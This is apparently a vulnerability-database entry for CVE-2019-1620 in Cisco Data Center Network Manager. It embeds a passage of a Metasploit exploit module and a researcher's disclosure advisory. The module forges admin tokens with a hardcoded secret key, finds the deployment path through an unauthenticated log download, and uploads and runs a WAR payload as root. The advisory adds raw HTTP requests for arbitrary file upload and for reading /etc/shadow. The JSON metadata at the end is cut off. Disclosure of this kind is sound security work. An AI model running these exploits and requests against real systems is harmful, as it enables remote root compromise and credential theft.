var-201906-0567
Vulnerability from variot
A vulnerability in the web-based management interface of Cisco Data Center Network Manager (DCNM) could allow an unauthenticated, remote attacker to upload arbitrary files on an affected device. The vulnerability is due to incorrect permission settings in affected DCNM software. An attacker could exploit this vulnerability by uploading specially crafted data to the affected device. A successful exploit could allow the attacker to write arbitrary files on the filesystem and execute code with root privileges on the affected device.
This issue is being tracked by Cisco bug ID CSCvo64647.
This module was tested on the DCNM Linux virtual appliance 10.4(2), 11.0(1) and 11.1(1), and should
work on a few versions below 10.4(2).
},
'Author' =>
[
'Pedro Ribeiro
register_options(
[
Opt::RPORT(443),
OptBool.new('SSL', [true, 'Connect with TLS', true]),
OptString.new('TARGETURI', [true, "Default server path", '/']),
OptString.new('USERNAME', [true, "Username for auth (required only for 11.0(1) and above", 'admin']),
OptString.new('PASSWORD', [true, "Password for auth (required only for 11.0(1) and above", 'admin']),
])
end
def check # at the moment this is the best way to detect # check if pmreport and fileUpload servlets return a 500 error with no params res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'fm', 'pmreport'), 'vars_get' => { 'token' => rand_text_alpha(5..20) }, 'method' => 'GET' ) if res && res.code == 500 res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'fm', 'fileUpload'), 'method' => 'GET', ) if res && res.code == 500 return CheckCode::Detected end end
CheckCode::Unknown
end
def target_select if target != targets[0] return target else res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'fm', 'fmrest', 'about','version'), 'method' => 'GET' ) if res && res.code == 200 if res.body.include?('version":"11.1(1)') print_good("#{peer} - Detected DCNM 11.1(1)") print_status("#{peer} - No authentication required, ready to exploit!") return targets[1] elsif res.body.include?('version":"11.0(1)') print_good("#{peer} - Detected DCNM 11.0(1)") print_status("#{peer} - Note that 11.0(1) requires valid authentication credentials to exploit") return targets[2] elsif res.body.include?('version":"10.4(2)') print_good("#{peer} - Detected DCNM 10.4(2)") print_status("#{peer} - No authentication required, ready to exploit!") return targets[3] else print_error("#{peer} - Failed to detect target version.") print_error("Please contact module author or add the target yourself and submit a PR to the Metasploit project!") print_error(res.body) print_status("#{peer} - We will proceed assuming the version is below 10.4(2) and vulnerable to auth bypass") return targets[3] end end fail_with(Failure::NoTarget, "#{peer} - Failed to determine target") end end
def auth_v11 res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'fm/'), 'method' => 'GET', 'vars_get' => { 'userName' => datastore['USERNAME'], 'password' => datastore['PASSWORD'] }, )
if res && res.code == 200
# get the JSESSIONID cookie
if res.get_cookies
res.get_cookies.split(';').each do |cok|
if cok.include?("JSESSIONID")
return cok
end
end
end
end
end
def auth_v10 # step 1: get a JSESSIONID cookie and the server Date header res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'fm/'), 'method' => 'GET' )
# step 2: convert the Date header and create the auth hash
if res && res.headers['Date']
jsession = res.get_cookies.split(';')[0]
date = Time.httpdate(res.headers['Date'])
server_date = date.strftime("%s").to_i * 1000
print_good("#{peer} - Got sysTime value #{server_date.to_s}")
# auth hash format:
# username + sessionId + sysTime + POsVwv6VBInSOtYQd9r2pFRsSe1cEeVFQuTvDfN7nJ55Qw8fMm5ZGvjmIr87GEF
session_id = rand(1000..50000).to_s
md5 = Digest::MD5.digest 'admin' + session_id + server_date.to_s +
"POsVwv6VBInSOtYQd9r2pFRsSe1cEeVFQuTvDfN7nJ55Qw8fMm5ZGvjmIr87GEF"
md5_str = Base64.strict_encode64(md5)
# step 3: authenticate our cookie as admin
# token format: sessionId.sysTime.md5_str.username
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'fm', 'pmreport'),
'cookie' => jsession,
'vars_get' =>
{
'token' => "#{session_id}.#{server_date.to_s}.#{md5_str}.admin"
},
'method' => 'GET'
)
if res && res.code == 500
return jsession
end
end
end
# use CVE-2019-1622 to fetch the logs unauthenticated, and get the WAR upload path from jboss*.log def get_war_path res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'fm', 'log', 'fmlogs.zip'), 'method' => 'GET' )
if res && res.code == 200
tmp = Tempfile.new
# we have to drop this into a file first
# else we will get a Zip::GPFBit3Error if we use an InputStream
File.binwrite(tmp, res.body)
Zip::File.open(tmp) do |zis|
zis.each do |entry|
if entry.name =~ /jboss[0-9]*\.log/
fdata = zis.read(entry)
if fdata[/Started FileSystemDeploymentService for directory ([\w\/\\\-\.:]*)/]
tmp.close
tmp.unlink
return $1.strip
end
end
end
end
end
end
def exploit target = target_select
if target == targets[2]
jsession = auth_v11
elsif target == targets[3]
jsession = auth_v10
end
# targets[1] DCNM 11.1(1) doesn't need auth!
if jsession.nil? && target != targets[1]
fail_with(Failure::NoAccess, "#{peer} - Failed to authenticate JSESSIONID cookie")
elsif target != targets[1]
print_good("#{peer} - Successfully authenticated our JSESSIONID cookie")
end
war_path = get_war_path
if war_path.nil? or war_path.empty?
fail_with(Failure::Unknown, "#{peer} - Failed to get WAR path from logs")
else
print_good("#{peer} - Obtain WAR path from logs: #{war_path}")
end
# Generate our payload... and upload it
app_base = rand_text_alphanumeric(6..16)
war_payload = payload.encoded_war({ :app_name => app_base }).to_s
fname = app_base + '.war'
post_data = Rex::MIME::Message.new
post_data.add_part(fname, nil, nil, content_disposition = "form-data; name=\"fname\"")
post_data.add_part(war_path, nil, nil, content_disposition = "form-data; name=\"uploadDir\"")
post_data.add_part(war_payload,
"application/octet-stream", 'binary',
"form-data; name=\"#{rand_text_alpha(5..20)}\"; filename=\"#{rand_text_alpha(6..10)}\"")
data = post_data.to_s
print_status("#{peer} - Uploading payload...")
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'fm', 'fileUpload'),
'method' => 'POST',
'data' => data,
'cookie' => jsession,
'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
)
if res && res.code == 200 && res.body[/#{fname}/]
print_good("#{peer} - WAR uploaded, waiting a few seconds for deployment...")
sleep 10
print_status("#{peer} - Executing payload...")
send_request_cgi(
'uri' => normalize_uri(target_uri.path, app_base),
'method' => 'GET'
)
else
fail_with(Failure::Unknown, "#{peer} - Failed to upload WAR file")
end
end end . DCNM is widely deloyed in data centres worldwide to manage Cisco devices on a global scale.
The table below lists the affected versions for each vulnerability:
Vulnerability Vulnerable? CVE <= 10.4(2) 11.0(1) 11.1(1) >= 11.2(1) Authentication bypass Yes No No No 2019-1619 File upload Yes, auth Yes, auth Yes, unauth No 2019-1620 File download Yes, auth Yes, auth Yes, unauth No 2019-1621 Info disclosure Yes, unauth Yes, unauth Yes, unauth ? 2019-1622
The authentication bypass affects versions 10.4(2), allowing an attacker to exploit the file upload for remote code execution. In version 11.0(1), authentication was introduced, and a valid unprivileged account is necessary to exploit all vulnerabilities except information discloure. Amazingly, in version 11.1(1) Cisco removed the authentication for the file upload and file download servlets, allowing an attacker exploit the vulnerabilities without any authentication! All vulnerabilities were fixed in 11.2(1), except the information disclosure, for which the status is unknown. The Apache Tomcat server is running as root, meaning that the Java shell will run as root.
Agile Information Security would like to thank the iDefense Vulnerability Contributor Program for handling the disclosure process with Cisco [1]. DCNM 11 provides management, control, automation, monitoring, visualization, and troubleshooting across Cisco Nexus® and Cisco Multilayer Distributed Switching (MDS) solutions. DCNM 11 supports multitenant, multifabric infrastructure management for Cisco Nexus Switches. DCNM also supports storage management with the Cisco MDS 9000 family and Cisco Nexus switch storage functions. By abusing this servlet, an unauthenticated attacker can obtain a valid administrative session on the web interface [3].
The snippet of code below shows what the servlet does: com.cisco.dcbu.web.client.performance.ReportServlet
public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
Credentials cred = (Credentials)request.getSession().getAttribute("credentials");
if((cred == null || !cred.isAuthenticated()) && !"fetch".equals(request.getParameter("command")) && !this.verifyToken(request)) {
request.setAttribute("popUpSessionTO", "true");
}
this.doInteractiveChart(request, response);
}
The request is passed on to the verifyToken function, listed below: private boolean verifyToken(HttpServletRequest httpServletRequest) { String token = httpServletRequest.getParameter("token"); if(token == null) { return false; } else { try { FMServerRif serverRif = SQLLoader.getServerManager(); IscRif isc = serverRif.getIsc(StringEncrypter.encryptString("DESede", (new Date()).toString())); token = URLDecoder.decode(token, "UTF-8"); token = token.replace(' ', '+'); FMUserBase fmUserBase = isc.verifySSoToken(token); if(fmUserBase == null) { return false; } else { Credentials newCred = new Credentials(); int idx = fmUserBase.getUsername().indexOf(64); newCred.setUserName(idx == -1?fmUserBase.getUsername():fmUserBase.getUsername().substring(0, idx)); newCred.setPassword(StringEncrypter.DESedeDecrypt(fmUserBase.getEncryptedPassword())); newCred.setRole(fmUserBase.getRole()); newCred.setAuthenticated(true); httpServletRequest.getSession().setAttribute("credentials", newCred); return true; } } catch (Exception var8) { var8.printStackTrace(); return false; } } }
As it can be seen in the line: FMUserBase fmUserBase = isc.verifySSoToken(token); the HTTP request parameter "token" gets passed to IscRif.verifySsoToken, and if that function returns a valid user, the request is authenticated and credentials are stored in the session.
Let's dig deeper and find out what happens in IscRif.verifySsoToken. The class implementing is actually com.cisco.dcbu.sm.server.facade.IscImpl:
public FMUserBase verifySSoToken(String ssoToken) {
return SecurityManager.verifySSoToken(ssoToken);
}
Digging further into SecurityManager.verifySSoToken: com.cisco.dcbu.sm.server.security.SecurityManager
public static FMUserBase verifySSoToken(String ssoToken) { String userName = null; FMUserBase fmUserBase = null; FMUser fmUser = null;
try {
userName = getSSoTokenUserName(ssoToken);
if(confirmSSOToken(ssoToken)) {
fmUser = UserManager.getInstance().findUser(userName);
if(fmUser != null) {
fmUserBase = new FMUserBase(userName, fmUser.getHashedPwd(), fmUser.getRoles());
}
if(fmUserBase == null) {
fmUserBase = DCNMUserImpl.getFMUserBase(userName);
}
if(fmUserBase == null) {
fmUserBase = FMSessionManager.getInstance().getFMUser(getSessionIdByToken(ssoToken));
}
}
} catch (Exception var5) {
_Logger.info("verifySSoToken: ", var5);
}
return fmUserBase;
}
As it can be seen in the code above, the username is obtained from the token here: userName = getSSoTokenUserName(ssoToken);
Digging yet another layer we find the following: public static String getSSoTokenUserName(String ssoToken) { return getSSoTokenDetails(ssoToken)[3]; }
private static String[] getSSoTokenDetails(String ssoToken) {
String[] ret = new String[4];
String separator = getTokenSeparator();
StringTokenizer st = new StringTokenizer(ssoToken, separator);
if(st.hasMoreTokens()) {
ret[0] = st.nextToken();
ret[1] = st.nextToken();
ret[2] = st.nextToken();
for(ret[3] = st.nextToken(); st.hasMoreTokens(); ret[3] = ret[3] + separator + st.nextToken()) {
;
}
}
return ret;
}
Seems like the token is a string which is separated by the "separator" with four components, the fourth of which is the username.
Now going back to SecurityManager.verifySSoToken listed above, we see that after the call to getSSoTokenUserName, confirmSSOToken is called: public static FMUserBase verifySSoToken(String ssoToken) { (...) userName = getSSoTokenUserName(ssoToken); if(confirmSSOToken(ssoToken)) { fmUser = UserManager.getInstance().findUser(userName); if(fmUser != null) { fmUserBase = new FMUserBase(userName, fmUser.getHashedPwd(), fmUser.getRoles()); } (...) }
public static boolean confirmSSOToken(String ssoToken) {
String userName = null;
int sessionId = false;
long sysTime = 0L;
String digest = null;
int count = false;
boolean ret = false;
try {
String[] detail = getSSoTokenDetails(ssoToken);
userName = detail[3];
int sessionId = Integer.parseInt(detail[0]);
sysTime = (new Long(detail[1])).longValue();
if(System.currentTimeMillis() - sysTime > 600000L) {
return ret;
}
digest = detail[2];
if(digest != null && digest.equals(getMessageDigest("MD5", userName, sessionId, sysTime))) {
ret = true;
userNameTLC.set(userName);
}
} catch (Exception var9) {
_Logger.info("confirmSSoToken: ", var9);
}
return ret;
}
Now we can further understand the token. It seems it is composed of: sessionId + separator + sysTime + separator + digest + separator + username
And what is the digest? Let's look into the getMessageDigest function:
private static String getMessageDigest(String algorithm, String userName, int sessionid, long sysTime) throws Exception {
String input = userName + sessionid + sysTime + SECRETKEY;
MessageDigest md = MessageDigest.getInstance(algorithm);
md.update(input.getBytes());
return new String(Base64.encodeBase64((byte[])md.digest()));
}
It is nothing more than the MD5 of: userName + sessionid + sysTime + SECRETKEY
... and SECRETKEY is a fixed key in the code: private static final String SECRETKEY = "POsVwv6VBInSOtYQd9r2pFRsSe1cEeVFQuTvDfN7nJ55Qw8fMm5ZGvjmIr87GEF";
... while the separator is a ".": private static String getTokenSeparator() { return System.getProperty("security.tokenSeparator", "."); }
In summary, this is what happens: The ReportServlet will happily authenticate any request, as long as it receives a token in the following format: sessionId.sysTime.MD5(userName + sessionid + sysTime + SECRETKEY).username
The sessionId can be made up by the user, sysTime can be obtained by getting the server Date HTTP header and then converting to milliseconds, and we know the SECRETKEY and the username, so now we can authenticate as any user. Here's an example token: GET /fm/pmreport?token=1337.1535935659000.upjVgZQmxNNgaXo5Ga6jvQ==.admin
This request will return a 500 error due to the lack of some parameters necessary for the servlet to execute correctly, however it will also successfully authenticate us to the server, which will cause it to return a JSESSIONID cookie with valid authenticated session for the admin user. Note that the user has to be valid. The "admin" user is a safe bet as it is present by default in all systems, and it is also the most privileged user in the system.
Unfortunately, this technique does not work for 11.0(1). I believe this is not because the vulnerability was fixed, as the exact same code is present in the newer version. In 11.0(1), the ReportServlet.verifyToken function crashes with an exception in the line noted below:
private boolean verifyToken(HttpServletRequest httpServletRequest) { (...) Credentials newCred = new Credentials(); int idx = fmUserBase.getUsername().indexOf(64); newCred.setUserName(idx == -1?fmUserBase.getUsername():fmUserBase.getUsername().substring(0, idx)); newCred.setPassword(StringEncrypter.DESedeDecrypt(fmUserBase.getEncryptedPassword())); <--- exception occurs here newCred.setRole(fmUserBase.getRole()); newCred.setAuthenticated(true); httpServletRequest.getSession().setAttribute("credentials", newCred); return true; } } catch (Exception var8) { var8.printStackTrace(); return false; } (...) }
The exception returned is a "com.cisco.dcbu.lib.util.StringEncrypter$EncryptionException: javax.crypto.BadPaddingException: Given final block not properly padded". This will cause execution to go into the catch block shown above, and the function will return false, so the JSESSIONID cookie returned by the server will not have the credentials stored in it.
I believe this is purely a coding mistake - Cisco updated their password encryption method, but failed to update their own code. Unless this ReportServlet code is deprecated, this is a real bug that happens to fix a security vulnerability by accident.
On version 11.0(1), it seems that the ReportServlet has been removed from the corresponding WAR xml mapping file, so requesting that URL now returns an HTTP 404 error.
The code for this servlet is listed below: com.cisco.dcbu.web.client.reports.FileUploadServlet
public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
this.doGet(request, response);
}
public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
Credentials cred = (Credentials)((Object)request.getSession().getAttribute("credentials"));
if (cred == null || !cred.isAuthenticated()) {
throw new ServletException("User not logged in or Session timed out.");
}
this.handleUpload(request, response);
}
The code shown above is simple, and the request is passed onto handleUpload:
private void handleUpload(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
response.setContentType(CONTENT_TYPE);
PrintWriter out = null;
ArrayList<String> allowedFormats = new ArrayList<String>();
allowedFormats.add("jpeg");
allowedFormats.add("png");
allowedFormats.add("gif");
allowedFormats.add("jpg");
allowedFormats.add("cert");
File disk = null;
FileItem item = null;
DiskFileItemFactory factory = new DiskFileItemFactory();
String statusMessage = "";
String fname = "";
String uploadDir = "";
ListIterator iterator = null;
List items = null;
ServletFileUpload upload = new ServletFileUpload((FileItemFactory)factory);
TransformerHandler hd = null;
try {
out = response.getWriter();
StreamResult streamResult = new StreamResult(out);
SAXTransformerFactory tf = (SAXTransformerFactory)SAXTransformerFactory.newInstance();
items = upload.parseRequest(request);
iterator = items.listIterator();
hd = tf.newTransformerHandler();
Transformer serializer = hd.getTransformer();
serializer.setOutputProperty("encoding", "UTF-8");
serializer.setOutputProperty("doctype-system", "response.dtd");
serializer.setOutputProperty("indent", "yes");
serializer.setOutputProperty("method", "xml");
hd.setResult(streamResult);
hd.startDocument();
AttributesImpl atts = new AttributesImpl();
hd.startElement("", "", "response", atts);
while (iterator.hasNext()) {
atts.clear();
item = (FileItem)iterator.next();
if (item.isFormField()) {
if (item.getFieldName().equalsIgnoreCase("fname")) {
fname = item.getString();
}
if (item.getFieldName().equalsIgnoreCase("uploadDir") && (uploadDir = item.getString()).equals(DEFAULT_TRUST_STORE_UPLOADDIR)) {
uploadDir = ClientCache.getJBossHome() + File.separator + "server" + File.separator + "fm" + File.separator + "conf";
}
atts.addAttribute("", "", "id", "CDATA", item.getFieldName());
hd.startElement("", "", "field", atts);
hd.characters(item.getString().toCharArray(), 0, item.getString().length());
hd.endElement("", "", "field");
atts.clear();
continue;
}
ImageInputStream imageInputStream = ImageIO.createImageInputStream(item.getInputStream());
Iterator<ImageReader> imageReaders = ImageIO.getImageReaders(imageInputStream);
ImageReader imageReader = null;
if (imageReaders.hasNext()) {
imageReader = imageReaders.next();
}
try {
String imageFormat = imageReader.getFormatName();
String newFileName = fname + "." + imageFormat;
if (allowedFormats.contains(imageFormat.toLowerCase())) {
FileFilter fileFilter = new FileFilter();
fileFilter.setImageTypes(allowedFormats);
File[] fileList = new File(uploadDir).listFiles(fileFilter);
for (int i = 0; i < fileList.length; ++i) {
new File(fileList[i].getAbsolutePath()).delete();
}
disk = new File(uploadDir + File.separator + fname);
item.write(disk);
Calendar calendar = Calendar.getInstance();
SimpleDateFormat simpleDateFormat = new SimpleDateFormat("MM.dd.yy hh:mm:ss aaa");
statusMessage = "File successfully written to server at " + simpleDateFormat.format(calendar.getTime());
}
imageReader.dispose();
imageInputStream.close();
atts.addAttribute("", "", "id", "CDATA", newFileName);
}
catch (Exception ex) {
this.processUploadedFile(item, uploadDir, fname);
Calendar calendar = Calendar.getInstance();
SimpleDateFormat simpleDateFormat = new SimpleDateFormat("MM.dd.yy hh:mm:ss aaa");
statusMessage = "File successfully written to server at " + simpleDateFormat.format(calendar.getTime());
atts.addAttribute("", "", "id", "CDATA", fname);
}
hd.startElement("", "", "file", atts);
hd.characters(statusMessage.toCharArray(), 0, statusMessage.length());
hd.endElement("", "", "file");
}
hd.endElement("", "", "response");
hd.endDocument();
out.close();
}
catch (Exception e) {
out.println(e.getMessage());
}
}
handleUpload is more complex, but here's a summary; the function takes an HTTP form with a parameter "uploadDir", a parameter "fname" and then takes the last form object and writes it into "uploadDir/fname". However, there is a catch... the file has to be a valid image with one of the extensions listed here: allowedFormats.add("jpeg"); allowedFormats.add("png"); allowedFormats.add("gif"); allowedFormats.add("jpg"); allowedFormats.add("cert");
However, if you look closely, it is possible to upload any arbitrary content. This is because nothing bad happens until we reach the second (inner) try-catch block. Once inside, the first thing that happens is this: try { String imageFormat = imageReader.getFormatName();
... which will cause imageReader to throw and exception if the binary content we sent is not a file, sending us into the catch block: catch (Exception ex) { this.processUploadedFile(item, uploadDir, fname); Calendar calendar = Calendar.getInstance(); SimpleDateFormat simpleDateFormat = new SimpleDateFormat("MM.dd.yy hh:mm:ss aaa"); statusMessage = "File successfully written to server at " + simpleDateFormat.format(calendar.getTime()); atts.addAttribute("", "", "id", "CDATA", fname);
... meaning that the file contents, upload dir and its name are sent into processUploadedFile.
Let's look into that now: private void processUploadedFile(FileItem item, String uploadDir, String fname) throws Exception { try { int offset; int contentLength = (int)item.getSize(); InputStream raw = item.getInputStream(); BufferedInputStream in = new BufferedInputStream(raw); byte[] data = new byte[contentLength]; int bytesRead = 0; for (offset = 0; offset < contentLength && (bytesRead = in.read(data, offset, data.length - offset)) != -1; offset += bytesRead) { } in.close(); if (offset != contentLength) { throw new IOException("Only read " + offset + " bytes; Expected " + contentLength + " bytes"); } FileOutputStream out = new FileOutputStream(uploadDir + File.separator + fname); out.write(data); out.flush(); out.close(); } catch (Exception ex) { throw new Exception("FileUploadSevlet processUploadFile failed: " + ex.getMessage()); } }
Amazingly, this function totally ignores the content, and simple writes the file contents to the filename and folder we have indicated. In summary, if we send any binary content that is not a file, we can write it to any new file in any directory as root.
If we send the following request: POST /fm/fileUpload HTTP/1.1 Host: 10.75.1.40 Cookie: JSESSIONID=PcW4XFtcG6fkMUg7FpkZYJ5C; Content-Length: 429 Content-Type: multipart/form-data; boundary=---------------------------9313517619947
-----------------------------9313517619947 Content-Disposition: form-data; name="fname"
owned -----------------------------9313517619947 Content-Disposition: form-data; name="uploadDir"
/tmp/ -----------------------------9313517619947 Content-Disposition: form-data; name="filePath"; filename="whatever" Content-Type: application/octet-stream
-----------------------------9313517619947--
The server will respond with: HTTP/1.1 200 OK X-FRAME-OPTIONS: SAMEORIGIN Content-Type: text/xml;charset=utf-8 Date: Mon, 03 Sep 2018 00:57:11 GMT Connection: close Server: server
And our file has been written as root on the server: [root@dcnm_vm ~]# ls -l /tmp/ (...) -rw-r--r-- 1 root root 16 Sep 2 17:57 owned (...)
Finally if we write a WAR file to the JBoss deployment directory, and the server will deploy the WAR file as root, allowing the attacker to achieve remote code execution.
A Metasploit module that exploits this vulnerability has been released with this advisory. An authenticated user can abuse this servlet to download arbitrary files as root [5].
The code below shows the servlet request processing code: com.cisco.dcbu.web.client.util.DownloadServlet
public void service(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
Credentials cred = (Credentials)((Object)request.getSession().getAttribute("credentials"));
if (cred == null || !cred.isAuthenticated()) {
throw new ServletException("User not logged in or Session timed out.");
}
String showFile = (String)request.getAttribute("showFile");
if (showFile == null) {
showFile = request.getParameter("showFile");
}
File f = new File(showFile);
if (showFile.endsWith(".cert")) {
response.setContentType("application/octet-stream");
response.setHeader("Pragma", "cache");
response.setHeader("Cache-Control", "cache");
response.setHeader("Content-Disposition", "attachment; filename=fmserver.cert;");
} else if (showFile.endsWith(".msi")) {
response.setContentType("application/x-msi");
response.setHeader("Pragma", "cache");
response.setHeader("Cache-Control", "cache");
response.setHeader("Content-Disposition", "attachment; filename=" + f.getName() + ";");
} else if (showFile.endsWith(".xls")) {
response.setContentType("application/vnd.ms-excel");
response.setHeader("Pragma", "cache");
response.setHeader("Cache-Control", "cache");
response.setHeader("Content-Disposition", "attachment; filename=" + f.getName() + ";");
}
ServletOutputStream os = response.getOutputStream();
FileInputStream is = new FileInputStream(f);
byte[] buffer = new byte[4096];
int read = 0;
try {
while ((read = is.read(buffer)) > 0) {
os.write(buffer, 0, read);
}
os.flush();
}
catch (Exception e) {
LogService.log(LogService._WARNING, e.getMessage());
}
finally {
is.close();
}
}
}
As you can see, it's quite simple. It takes a "showFile" request parameter, reads that file and returns to the user. Here's an example of the servlet in action:
Request: GET /fm/downloadServlet?showFile=/etc/shadow HTTP/1.1 Host: 10.75.1.40 Cookie: JSESSIONID=PcW4XFtcG6fkMUg7FpkZYJ5C;
Response: HTTP/1.1 200 OK
root:$1$(REDACTED).:17763:0:99999:7::: bin::15980:0:99999:7::: daemon::15980:0:99999:7::: adm::15980:0:99999:7::: lp::15980:0:99999:7::: (...)
An interesting file to download is /usr/local/cisco/dcm/fm/conf/server.properties, which contains the database credentials as well as the sftp root password, both encrypted with a key that is hardcoded in the source code.
A Metasploit module that exploits this vulnerability has been released with this advisory. This servlet can be accessed by an unauthenticated attacker, and it will return all the log files in /usr/local/cisco/dcm/fm/logs/* in ZIP format, which provide information about local directories, software versions, authentication errors, detailed stack traces, etc [6].
To access it, simply request: GET /fm/log/fmlogs.zip
Code is not shown here for brevity, but the implementation class is com.cisco.dcbu.web.client.admin.LogZipperServlet.
Fix: For #1, upgrade to DCNM 11.0(1) and above [3]. For #2 and #3, upgrade to DCNM 11.2(1) and above [4] [5]. For #4, it is not clear from Cisco's advisory on which version it was fixed [6].
References: [1] https://www.accenture.com/us-en/service-idefense-security-intelligence [2] https://www.cisco.com/c/en/us/products/collateral/cloud-systems-management/prime-data-center-network-manager/datasheet-c78-740978.html [3] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-bypass [4] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-codex [5] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-file-dwnld [6] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-infodiscl
Disclaimer: Please note that Agile Information Security relies on the information provided by the vendor when listing fixed versions or products. Agile Information Security does not verify this information, except when specifically mentioned in this advisory or when requested or contracted by the vendor to do so. Unconfirmed vendor fixes might be ineffective or incomplete, and it is the vendor's responsibility to ensure the vulnerablities found by Agile Information Security are resolved properly. Agile Information Security Limited does not accept any responsiblity, financial or otherwise, from any material losses, loss of life or reputational loss as a result of misuse of the information or code contained or mentioned in this advisory. It is the vendor's responsibility to ensure their products' security before, during and after release to market.
All information, code and binary data in this advisory is released to the public under the GNU General Public License, version 3 (GPLv3). For information, code or binary data obtained from other sources that has a license which is incompatible with GPLv3, the original license prevails. For more information check https://www.gnu.org/licenses/gpl-3.0.en.html
================ Agile Information Security Limited http://www.agileinfosec.co.uk/
Show details on source websiteEnabling secure digital business
{ "@context": { "@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#", "affected_products": { "@id": "https://www.variotdbs.pl/ref/affected_products" }, "configurations": { "@id": "https://www.variotdbs.pl/ref/configurations" }, "credits": { "@id": "https://www.variotdbs.pl/ref/credits" }, "cvss": { "@id": "https://www.variotdbs.pl/ref/cvss/" }, "description": { "@id": "https://www.variotdbs.pl/ref/description/" }, "exploit_availability": { "@id": "https://www.variotdbs.pl/ref/exploit_availability/" }, "external_ids": { "@id": "https://www.variotdbs.pl/ref/external_ids/" }, "iot": { "@id": "https://www.variotdbs.pl/ref/iot/" }, "iot_taxonomy": { "@id": "https://www.variotdbs.pl/ref/iot_taxonomy/" }, "patch": { "@id": "https://www.variotdbs.pl/ref/patch/" }, "problemtype_data": { "@id": "https://www.variotdbs.pl/ref/problemtype_data/" }, "references": { "@id": "https://www.variotdbs.pl/ref/references/" }, "sources": { "@id": "https://www.variotdbs.pl/ref/sources/" }, "sources_release_date": { "@id": "https://www.variotdbs.pl/ref/sources_release_date/" }, "sources_update_date": { "@id": "https://www.variotdbs.pl/ref/sources_update_date/" }, "threat_type": { "@id": "https://www.variotdbs.pl/ref/threat_type/" }, "title": { "@id": "https://www.variotdbs.pl/ref/title/" }, "type": { "@id": "https://www.variotdbs.pl/ref/type/" } }, "@id": "https://www.variotdbs.pl/vuln/VAR-201906-0567", "affected_products": { "@context": { "@vocab": "https://www.variotdbs.pl/ref/affected_products#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" }, "@id": "https://www.variotdbs.pl/ref/sources" } }, "data": [ { "model": "data center network manager", "scope": "eq", "trust": 1.0, "vendor": "cisco", "version": "11.0\\(1\\)" }, { "model": "data center network manager", "scope": "eq", "trust": 0.9, "vendor": "cisco", "version": "11.0(1)" }, { "model": "data center network manager", "scope": null, "trust": 0.8, "vendor": "cisco", "version": null }, { "model": "data center network manager", "scope": "eq", "trust": 0.3, "vendor": "cisco", "version": "11.1(1)" }, { "model": "data center network manager", "scope": "eq", "trust": 0.3, "vendor": "cisco", "version": "10.4(2)" }, { "model": "data center network manager", "scope": "eq", "trust": 0.3, "vendor": "cisco", "version": "10.4(1)" }, { "model": "data center network manager", "scope": "eq", "trust": 0.3, "vendor": "cisco", "version": "10.3(1)" }, { "model": "data center network manager", "scope": "eq", "trust": 0.3, "vendor": "cisco", "version": "10.2(1)" }, { "model": "data center network manager", "scope": "eq", "trust": 0.3, "vendor": "cisco", "version": "10.1(1)" }, { "model": "data center network manager", "scope": "eq", "trust": 0.3, "vendor": "cisco", "version": "10.0(1)" }, { "model": "data center network manager", "scope": "ne", "trust": 0.3, "vendor": "cisco", "version": "11.2(1)" } ], "sources": [ { "db": "CNVD", "id": "CNVD-2019-19474" }, { "db": "BID", "id": "108906" }, { "db": "JVNDB", "id": "JVNDB-2019-005759" }, { "db": "NVD", "id": "CVE-2019-1620" } ] }, "configurations": { "@context": { "@vocab": "https://www.variotdbs.pl/ref/configurations#", "children": { "@container": "@list" }, "cpe_match": { "@container": "@list" }, "data": { "@container": "@list" }, "nodes": { "@container": "@list" } }, "data": [ { "CVE_data_version": "4.0", "nodes": [ { "cpe_match": [ { "cpe22Uri": "cpe:/a:cisco:data_center_network_manager", "vulnerable": true } ], "operator": "OR" } ] } ], "sources": [ { "db": "JVNDB", "id": "JVNDB-2019-005759" } ] }, "credits": { "@context": { "@vocab": "https://www.variotdbs.pl/ref/credits#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } }, "data": "The Cisco Product Security Incident Response Team (PSIRT) is aware that proof-of-concept exploit code is available for the vulnerability described in this advisory. The Cisco PSIRT is not aware of any malicious use of the vulnerability that is described in this advisory.,Pedro Ribeiro.", "sources": [ { "db": "CNNVD", "id": "CNNVD-201906-1029" } ], "trust": 0.6 }, "cve": "CVE-2019-1620", "cvss": { "@context": { "cvssV2": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#" }, "@id": "https://www.variotdbs.pl/ref/cvss/cvssV2" }, "cvssV3": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#" }, "@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/" }, "severity": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/cvss/severity#" }, "@id": "https://www.variotdbs.pl/ref/cvss/severity" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" }, "@id": "https://www.variotdbs.pl/ref/sources" } }, "data": [ { "cvssV2": [ { "accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "NONE", "author": "nvd@nist.gov", "availabilityImpact": "COMPLETE", "baseScore": 10.0, "confidentialityImpact": "COMPLETE", "exploitabilityScore": 10.0, "id": "CVE-2019-1620", "impactScore": 10.0, "integrityImpact": "COMPLETE", "severity": "HIGH", "trust": 1.8, "vectorString": 